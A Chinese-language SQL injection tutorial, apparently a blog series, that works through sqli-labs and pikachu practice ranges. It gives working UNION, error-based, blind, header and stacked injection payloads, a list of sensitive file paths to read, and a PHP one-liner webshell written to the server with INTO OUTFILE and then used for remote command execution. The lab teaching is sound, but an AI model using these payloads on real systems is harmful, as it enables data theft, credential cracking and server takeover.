Sql注入之基础
SQL注入先行篇
数据库概述
关系型数据库
关系型数据库的存储结构类似表格,能够直观地反映实体之间的关系。表与表之间通常存在主键-外键、连接查询等复杂关联。
常见的关系型数据库:
MySQL
Oracle
PostgreSQL
SQL Server
非关系型数据库
NoSQL 数据库近年来发展迅速,主要用于简化数据结构、减少表连接、提升扩展性和性能。
常见的 NoSQL 数据库:
MongoDB
Redis
Cassandra
Couchbase
NoSQL 适合业务模型多变、读写性能要求高、可扩展性强的场景。
数据库排行榜:db-engines 排名
常见的数据库层级

常见 SQL 语法
1 | SHOW DATABASES; -- 查询当前数据库服务器上的所有数据库 |
SQL 注入概述

SQL 注入是指 Web 应用程序对用户输入缺乏严格验证或过滤,导致攻击者能够在原有 SQL 语句末尾追加恶意 SQL,从而欺骗数据库执行未授权的查询或命令。
典型风险包括:
数据库中的敏感信息泄露
绕过身份认证
数据篡改或删除
服务器命令执行
MySQL 自带系统库

MySQL 启动后会创建多个系统数据库,用于存储服务器元数据、运行信息和系统配置。
information_schema 库
information_schema 是 MySQL 的信息库,保存了当前实例中所有数据库、表、列、权限等元数据信息。
渗透测试中常用的表:
SCHEMATA:保存当前 MySQL 实例中的所有数据库信息。TABLES:保存当前数据库中所有表的元数据信息。COLUMNS:保存表的列信息,包括列名、数据类型、是否可空等。

information_schema从 MySQL 5.0 起引入,使得 SQL 注入攻击在元数据枚举方面更加高效。对于 5.0 之前的版本,通常需要使用更繁琐的盲注或暴力破解方法。
performance_schema 库
performance_schema 从 MySQL 5.5 开始提供,主要用于收集数据库服务器的性能数据。它是内存数据库,便于快速采集和分析运行指标。
mysql 库
mysql 库是 MySQL 的核心系统数据库,存储用户账户、权限、字符集、系统变量等信息。该库不应随意修改,否则可能导致 MySQL 服务异常。
sys 库
sys 库从 MySQL 5.7 开始引入,通过视图的方式将 information_schema 和 performance_schema 的信息汇总,提供更易读的监控和诊断数据。
常用场景包括:
查询最消耗资源的会话
分析访问频率最高的表
查看系统性能指标
SQL 注入基础与手工注入
主要讲解并熟悉 SQL 注入的基础流程、常用函数和注入原理。最后以 sqli-labs 第二关为例进行实战演示。
数据库数据传递逻辑
页面通常会接收用户输入,并将其拼接进 SQL 语句。
sqli-labs 第二关中,页面接收的是 id 参数:

学习 SQL 注入需要一定的编程和数据库基础,这里默认你已有相关知识。
查看第二关源码(真实渗透测试中通常看不到源码,这里仅作原理说明):

其中:
第 24 行的
$_GET['id']表示以 GET 方式接收id参数。第 32 行将
id传给 SQL 语句中的$id。
最终 SQL 语句类似:
1 | SELECT * FROM users WHERE id = $id LIMIT ... |
这表示:查询 users 表中 id 等于页面传入值的所有记录。* 表示查询所有列。
题外话:GET 和 POST 提交方式的区别是基础知识,可以补充学习。
SQL 注入流程
- 判断注入点
- 猜解列数量(
ORDER BY) - 报错猜解,判断回显点
- 信息收集
- 使用 SQL 语句进行注入查询
判断注入点
判断注入点的方法很简单,例如传入:
1 | id=1 AND 1=1 |
后台拼接为:
1 | SELECT * FROM users WHERE id = 1 AND 1 = 1; |
由于 1=1 恒成立,语句不会报错。如果页面返回正常,通常说明该参数存在注入点。


如果随意拼接非法字符出现报错,说明后台接收到了输入。若页面依然正常,则说明可能已被过滤或拦截。

猜解列数量:ORDER BY
ORDER BY 用于排序,后面跟数字表示按第几列排序。


例如:
1 | ORDER BY 4 |
如果程序报错,说明当前查询只有 3 列数据。
这个步骤很重要,后续使用
UNION查询时必须知道字段数量。
报错猜解,判断回显点
UNION 用于合并查询,关键特性:
两个查询结果互不干扰
两边字段数量必须一致
先用 ORDER BY 猜列数,再用 UNION 确认回显位置。

例如:
1 | SELECT * FROM users WHERE id=-1 |
如果页面显示了 2 和 3,说明当前页面存在回显点,可继续注入更多内容。

将 2、3 替换成想要的数据,即可在页面中看到结果。
信息收集
常用信息收集函数:
version():查询数据库版本。database():查询当前数据库名。group_concat():合并结果,避免数据过多。user():查询当前数据库用户。
如果当前用户是 root,说明权限最高。
常见系统表:
information_schema.SCHEMATA:记录所有数据库名。- 关键字段:
SCHEMA_NAME
- 关键字段:
information_schema.TABLES:记录所有表信息。- 关键字段:
TABLE_NAME - 关键字段:
TABLE_SCHEMA(指定数据库)
- 关键字段:
information_schema.COLUMNS:记录列信息。- 关键字段:
COLUMN_NAME
- 关键字段:
新手口诀
1 | 1、查库用 SCHEMATA,字段就记 SCHEMA_NAME |
图表法
| 目标 | 系统表名 | 核心字段 | 记忆点 |
|---|---|---|---|
| 查数据库 | SCHEMATA | SCHEMA_NAME | 库名 |
| 查表 | TABLES | TABLE_NAME | 表名 |
| 查字段 | COLUMNS | COLUMN_NAME | 字段名 |
使用 SQL 语句进行注入查询
获取目标数据库、表名和字段名后,就可以做最终注入查询:
1 | SELECT * FROM users WHERE id=-1 |
其中 0x7e 是 ~ 的十六进制表示,用于分隔查询结果。
实战
以 sqli-labs 第二关为例
查询数据库版本

获得数据库版本:5.7.26
查询数据库名

获得当前数据库名:security
查询当前数据库的所有表名

如果 TABLE_SCHEMA 返回异常,可改用 database():

也可以将数据库名 security 转为十六进制:
1 | 0x7365637572697479 |
再进行查询。

获得 security 库中的表:emails, referers, uagents, users。
查询重要表中的所有字段名
请求示例:
1 | http://localhost/sqli-labs/Less-2/?id=-3 union select 1, 2, group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479 and TABLE_NAME=0x7573657273 |

获取到 users 表中的字段:id, username, password。
根据收集到的信息查询 users 表数据

手工注入总结
手工注入的基本步骤就是这样。虽然现在已有自动化工具 sqlmap,但手工注入流程仍是理解 SQL 注入、防护和绕过的基础。
后续还可以继续学习:
报错注入
延时注入
布尔盲注
WAF 绕过
地基要打牢,才能更好地使用工具和分析防护。
SQL注入之高权限注入
数据库高权限用户
对于 MySQL 来说,只有 root 是高权限用户,或者被 root 赋予管理员权限的用户。
注意:这里所说的「用户」不是网站登录框里的用户,指的是 MySQL 中的数据库用户。
网站用户和数据库用户必须区分。
以 sqli-labs 靶场为例:
根据之前的学习,我们能拿到 sqli-labs 靶场 security 数据库 users 表中的信息。
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(username,0x7e, password) from users) |

这里拿到的用户都属于网站用户,不能用这些用户直接操作数据库。
我们需要的是数据库高权限用户:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, user() |

使用数据库的 user() 函数查询出的才是数据库用户,root 代表最高权限用户,又称管理员用户。
即使不是 root,也可以查看 information_schema 库中的当前数据库信息,只是不能跨库查询而已。
高权限用户的注入操作
即使是普通用户,只要存在 SQL 注入漏洞,也很危险,能拿到的信息不少。
高权限用户则有更多可操作空间。
跨库查询
查看当前数据库:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, database() |

查看所有数据库:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA) |

可以查看到其他数据库的信息。下面以另一个靶场 pikachu 的数据库为例,流程相同。
因为编码问题,pikachu 转为十六进制为 0x70696b61636875。
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x70696b61636875) |

显然 users 表更有价值,接下来读取 users 表字段,users 也转为十六进制 0x7573657273:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x70696b61636875 and TABLE_NAME=0x7573657273) |

收集到信息后可以查询具体数据:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(username, ':', password, ':', level) from pikachu.users) |

这里以 , 分割每组用户信息,以 : 分割单列信息,与之前的 ~ 效果类似。
level 字段通常用于权限控制,也可以查看。
这里的 password 字段是加密后的,需要进一步破解,例如用 hashcat。
在这个示例中,密码采用 MD5 加密,可以直接使用在线 MD5 解密网站,例如 https://www.somd5.com,破解后 admin 用户的密码为 123456。
如果通过其他方法确认当前服务器能访问到 pikachu 网站,那么就相当于通过一个网站拿下了另一个网站,而且这还是管理员权限。
当然这只是示例,真实环境通常更复杂,后续除了基础注入手法,还有绕过安全防护的方法。
以下为 pikachu 靶场截图,点击下载:

这个靶场也很适合练手。
文件读写
原理
文件读写的原理很简单:利用 MySQL 数据库的读写文件权限,向服务器写一句话木马,或读取服务器中的敏感文件。
条件
- 高权限用户
root - MySQL 的
secure_file_priv限制了文件读写权限
1 | secure_file_priv = NULL |
secure_file_priv 是 MySQL 的静态只读参数,运行时无法通过 SQL 注入或 SQL 命令在线修改,即使是 root 权限也不行。
所以要先判断:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select @@secure_file_priv) |

如果结果为 NULL,就表示不能进行文件读写。但即便如此,全库脱库、操作 mysql.user、添加或篡改数据库账号、留下后门账号等依旧很危险。
如果出现如下结果,就说明可以在任意位置进行文件读写:

读取文件
读取文件使用 LOAD_FILE() 函数。我在服务器 D 盘放了一个文件 test.txt,内容为 test:test。
文件路径可以直接用单引号包裹,也可以使用十六进制或 CHAR() 转换。下面示例尝试读取该文件:

这样就能读取到文件内容。读取文件本身不难,难的是收集到足够的信息来判断哪些路径有用。
以下为一些核心敏感文件路径,建议牢记。
Linux 核心敏感文件路径
- 系统账号密码 / 系统配置
1 | /etc/passwd # 所有系统用户、shell 权限、账号列表 |
- 网络、域名、内网信息
1 | /etc/hosts # 本地域名解析、内网映射、后门 hosts |
- 服务配置(数据库 / 网站中间件)
1 | /etc/my.cnf |
- 网站源码 / 配置(重要!可查看配置文件拿后台密钥,或直接审计源码找漏洞)
1 | /var/www/html/xxx/config.php |
- 日志文件(留痕、路径泄露)
1 | /var/log/messages |
Windows 核心敏感文件路径
- 系统账号与关键配置
1 | C:\Windows\System32\drivers\etc\hosts |
- 数据库与中间件配置
1 | C:\ProgramData\MySQL\MySQL Server 5.7\my.ini |
- 网站默认绝对路径
1 | C:\inetpub\wwwroot\ # IIS 默认根目录 |
全平台通用网站配置文件(找到了就必看)
PHP/JAVA/ASP 站点通用配置,大概率包含:数据库账号、密码、密钥、后台地址。
1 | /config.php |
常见的路径获取方式还有:报错显示、遗留文件、漏洞报错、平台配置文件等,不过由于各种安全防护的原因,很多文件不能直接读取。
文件写入
常用函数
1 | INTO OUTFILE # 能写入多行,按格式输出,用的最多 |
使用 INTO OUTFILE 向 D 盘写入一个名为 1.txt 的文件:

出现语法错误,因为后台 SQL 语句末尾还有 LIMIT 分页语句:
1 | SELECT * FROM users WHERE id=-1 union select 1, 'test123', 3 into outfile 'D:/1.txt' LIMIT 0,1 |
将 URL 调整为注释掉后续 LIMIT:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 'test123', 3 into outfile 'D:/1.txt' --+ |
后台 SQL 语句变成:
1 | SELECT * FROM users WHERE id=-1 union select 1, 'test123', 3 into outfile 'D:/1.txt' --+ LIMIT 0,1 |

如果没有报错,就说明成功了。

INTO OUTFILE 后面的路径只能使用单引号,不能使用十六进制或 CHAR() 转换字符。
总结
1 | 1、判断数据库用户是否高权限用户 |
写点题外话,给刚开始接触网络安全的朋友增加点兴趣。
一句话木马是最简单的木马,见名知义就是一行代码写成一个木马文件,PHP 写法为:
1 | @eval($_POST["hack"]); |
hack 是木马连接密码,不同语言的一句话木马写法不同,可以自行查阅。
现在的杀毒软件与防护系统会识别木马文件,上传后可能秒删,需要绕过杀软等防护,后续再讲。
一句话木马需要连接后才能获得 webshell 权限,因此必须知道上传文件的具体位置,且该位置要能被网站直接访问。
获取网站路径的方法很多,例如查看 phpinfo() 页面、目录扫描源码、找到遗留配置文件等,后续会讲。
下面通过 SQL 注入向目标服务器写入 PHP 一句话木马,文件名为 hack.php:
1 | http://localhost/sqli-labs/Less-2/?id=-1 union select 1, '<?php @eval($_POST["hack"] );?>', 3 into outfile 'D:/version/php/phpstudy_pro/WWW/hack.php' --+ |

上传成功后,可以使用 WebShell 管理工具蚁剑 (去下载) 连接:
在空白处右击,点击“添加数据”。

填写好 URL 地址和连接密码 hack 后点击测试连接,看到绿色提示说明配置正确,点击添加。

双击新添加的数据。

会看到以下内容:

还能右击选择虚拟终端,获得远程代码执行权限。


这就是 SQL 注入中利用读写权限写入一句话木马获取 webshell 的过程。
SQL之数据类型和提交方式
SQL 注入的数据类型
数字型注入点
很多网页链接有类似结构,例如 sqli-labs 第二关:http://localhost/sqli-labs/Less-2/?id=1,一般被称为数字型注入点。
其注入点 id 类型为数字,大多数网页中,查看个人信息、查看文章,都会用到这种结构进行信息传递。
后台 SQL 语句大概为:
1 | select * from 表名 where id=$id -- $id 为占位,拼接前台 id 字段传递的数据 |
根据之前的实践,我们判断注入点会进行语句拼接,如下:
1 | URL 拼接: |
通过不同的页面反馈,判断是否存在注入点。


字符型注入点
很多网页链接有类似结构,http://xxx.com/users.php?name=admin,一般叫做字符型注入点。
其注入点 name 类型为字符型,后台语句为:
1 | select * from 表名 where name='$name' |
语句被引号包裹,在 SQL 语句中可以是单引号也可以是双引号,证明接收字符串类型的数据。
进行语句拼接,也要将引号进行拼接,以 sqli-labs 第一关为例:
1 | URL 拼接: |
通过不同的页面反馈,判断是否存在注入点。


我们之前提到过可以随意拼接字符,报错就说明有注入点:
1 | ?id=1asdubgasi |
但是,对于字符型的注入这个方法不行,MySQL 独特机制,会把输入的 1 后边的无用数据自动过滤。
模糊查询注入点
这是一类特殊的注入类型,这类注入主要是进行数据搜索时没过滤搜索参数。
一般在连接地址有 key=关键字,或者直接通过搜索框进行提交,后台语句为:
1 | select * from 表名 where 字段名 like '%关键字%' |
注入原理还是一样的,只是需要拼接的符号变多了。
以 pikachu 靶场为例,安装教程请见:https://blog.yunkun.top/archives/141bca4c.html。

后台语句为:
1 | select username,id,email from member where username like '%$name%' |
在搜索框输入拼接语句,点击搜索:
1 | y%' or 1=1 # |

后台语句会变成:
1 | select username,id,email from member where username like '%y%' or 1=1 #%' |
拼接
and 1=1和or 1=1的区别就留给各位自行探索啦。
XX 型注入点
XX 型指 SQL 语句拼接的方式不同,如:
1 | select * from member where username=('$username') |
本质不变,就是进行符号拼接,只是后台程序员加了些乱七八糟的东西,如:'、"、%、)、{ 等。
总结
无论什么类型的注入点,都是能进行注入攻击的,关键是判断注入点类型。
1 | 1. 拼接半个引号,单引号双引号都试试,只要报错了,就说明引号被传递后台了,存在注入点。 |
像是引号、
%这些对于有防护的网站都会被过滤掉,后续也会讲到绕过防护的方法。
SQL 注入的数据提交方式
GET 提交
GET 提交为一种很常见的提交方式,主要通过 URL 传输数据给后台,然后带到数据库中执行,注入也是在 URL 上直接注入。
例如 sqli-labs 前几关都是 GET 提交方式,可以直接在 URL 上修改注入数据,提交到后台。

POST 提交
POST 提交方式主要适用于表单的提交,用于登录框的注入。
利用 Burp Suite 抓包修改内容重放进行注入,和 GET 差别是需要抓包工具配合,返回结果主要为代码,也有页面回显的。
相关 Burp Suite 教程请移步:https://blog.yunkun.top/archives/f39b7ce2.html。
以 Sqli-labs 第 11 关为例,提交一些数据,开启代理,开启拦截。


能看到提交方式为 POST,以表单提交了相关数据,我们可以对数据进行修改,然后放行。

拿到了想要的数据库信息。

因为拿数据是一个大量修改语句的过程,一直使用 Burp Suite 不方便,可以使用浏览器插件 Hackbar。
Firefox 浏览器的 hackbar 插件经常出现问题,建议使用 Google 浏览器进行实践。
安装和使用说明请移步:https://blog.yunkun.top/archives/9508da4a.html。
进入 Hackbar 界面,添加 URL,打开 User POST method,添加 Body,点击 EXECUTE 提交就能看到页面回显了数据库名。

HTTP Header 注入
Header 头并不算是提交方式,只是后台开发人员为验证客户端信息的一个提交表单。
比较常用的 cookie 验证,或者通过 user-agent、accept 字段等获取一些用户信息。
客户端会获取 Header 头信息发送后台进行 SQL 处理,如果此时未进行校验,就会引起 HTTP Header 的注入漏洞。
sqli-labs 第 18 关就是 Header Injection 关卡,打开发现获取了一些客户端信息。

本关会先校验 cookie 信息,所以先使用 admin/admin 登录,也能看到本地信息。

抓包看一下,重点看是带客户端信息的字段。

将数据发送 Repeater 模块,方便重放,Repeater 模块教程参考:https://blog.yunkun.top/archives/f39b7ce2.html。
不修改 POST 提交的数据信息,修改 User-Agent 头信息,采用报错注入的方式获取数据库信息。
报错注入相关教程,请参考:https://blog.yunkun.top/archives/2004793d.html。

这里只是以 UA 头举例,有相同风险的 Header 头还有:Referer、Cookie、XFF(X-Forwarded-For)、Host,还有一些自定义的认证字段。
SQL注入之注入手法
查询方式
在进行 SQL 注入时,有很多注入后页面无反应的情况,也称无回显,这可能是 SQL 查询方式导致的,因此我们要先了解 SQL 的查询方式。
select 查询
SQL 中最常见的语句,核心场景为:用户登录、信息查询、列表展示、搜索功能等。
1 | select * from user where name=$name LIMIT 1; |
危害:容易触发报错注入、联合注入、布尔盲注、时间盲注,从而引发账号密码泄露、脱库等。
update 更新
核心场景:修改密码、更新个人资料、修改订单状态、管理员后台修改数据。
1 | update users set name='$name' where id ='$id' |
危害:可以通过越权修改任意数据,比如把普通用户改为管理员、篡改密码等。
insert 插入
核心场景:用户注册、留言板、评论区、日志记录、文件上传信息入库。
1 | insert into users (username, password) values('$user', '$pass'); |
危害:可以绕过注册,直接插入管理员账号,植入恶意代码,批量插入垃圾数据等。
delete 删除
核心场景:删除评论、删除订单、注销账号、管理员删除数据。
1 | delete from users where id='$id' |
危害:删表、删库、清空数据、删除核心用户表,使网站彻底瘫痪等。
报错注入
针对获取的数据不能回显到前端页面,我们可以利用一些方法使页面强制报错回显,称为报错注入。
updatexml
updatexml() 从目标 XML 中更改包含所查询的字符串,该函数有三个参数:
updatexml(XML_document, XPath_string, new_value)XML_document是 String 类型,为 XML 文档对象名称。
XPath_string(Xpath 格式字符串)。
new_value,String 类型,替换查找到的符合条件的数据。
当 XPath_string 参数出现错误时就会报错,以 sqli-labs 第 11 关为例:
1 | ' or updatexml(1, concat(0x7e, (select database()), 0x7e), 3) # |

extractvalue
extractvalue() 从目标中返回查询的字符串,该函数有两个参数:
extractvalue(XML_document, XPath_String)XML_document是 String 类型,为 XML 文档对象名称。
XPath_string(Xpath 格式字符串)。
和 updatexml() 用法一致,当 XPath_string 参数出现错误时就会报错,以 sqli-labs 第 11 关为例:
1 | admin' or extractvalue(1, concat(0x7e, (version), 0x7e)) or' |

floor
floor() 报错的原理是 group by 在向临时表中插入数据时,由于 rand() 多次计算导致插入临时表时主键重复,从而报错,报错前的 SQL 语句或函数会被先执行,从而使语句报错时抛出的主键是 SQL 语句执行后的结果。
一句话来说就是 floor(rand(0)*2) 在配合 group by 分组统计时,会产生主键重复冲突,触发 MySQL 报错,同时报错信息中会带出拼接的结果。
不理解也没关系,floor 的报错语句,严格来说是固定的,不可修改,且在 MySQL 8.0 以上版本已经完全失效。
1 | -- 爆数据库版本 |
延时注入
当页面输入数据无论正确与否,都毫无差别时,使用延时注入的方法。
常用函数
1 | sleep() -- sleep 函数可以使计算机程序(进程,任务或线程)进入休眠 |
以 sqli-labs 第 9 关为例,演示流程,sleep() 函数的效果就是页面一直刷新,刷新几秒之后再响应。
1 | 1. 判断数据库名长度 |
1 | ?id=1' and sleep(if(length(database())=8, 3, 0)) --+ -- 数据库名长度为 8,页面休眠 3 秒,否则无休眠 |
其实并不推荐延时注入的方法,页面的响应受很多因素影响,最简单的网速就可能使页面响应很久。
布尔盲注
Web 页面仅仅会返回 True 和 False,布尔盲注就是根据页面返回的 True 或 False 来获得数据库信息。
Sqli-labs 第 5 关,返回 True 时:

返回 False 时:

既然页面会返回 True 和 False 就相当于自带了 if 语句,语句就变得简单一点了。
1 | ?id=1' and length(database())=8 --+ -- 判断数据库名长度 |
加解密
网络中进行数据传输基本都要进行加密,其中 Base64 是最常用的加密方式。
sqli-labs 第 21 关,针对 cookie 加密注入,admin/admin 登录后,抓包查看到 cookie 字段加密。

将字符串复制,使用 Burp Suite 自带的解密模块 Decoder 进行解密,%3D 代表 ‘=’。

将一条报错注入语句进行 Base64 加密:
1 | admin' or extractvalue(1, concat(0x7e, (database()), 0x7e)) or' |

将数据包发送 Repeater 模块,将加密过的语句进行拼接。

拿到了想要查询的数据。

堆叠注入
在 SQL 语句中,; 是用来表示一条语句的结束,如果我们拼接了 ; ,再加一条新语句,就能执行想执行的任意语句了。
以 Sqli-labs 第 38 关为例,我们插入一条数据:

页面并不会回显,我们直接进行数据查询:









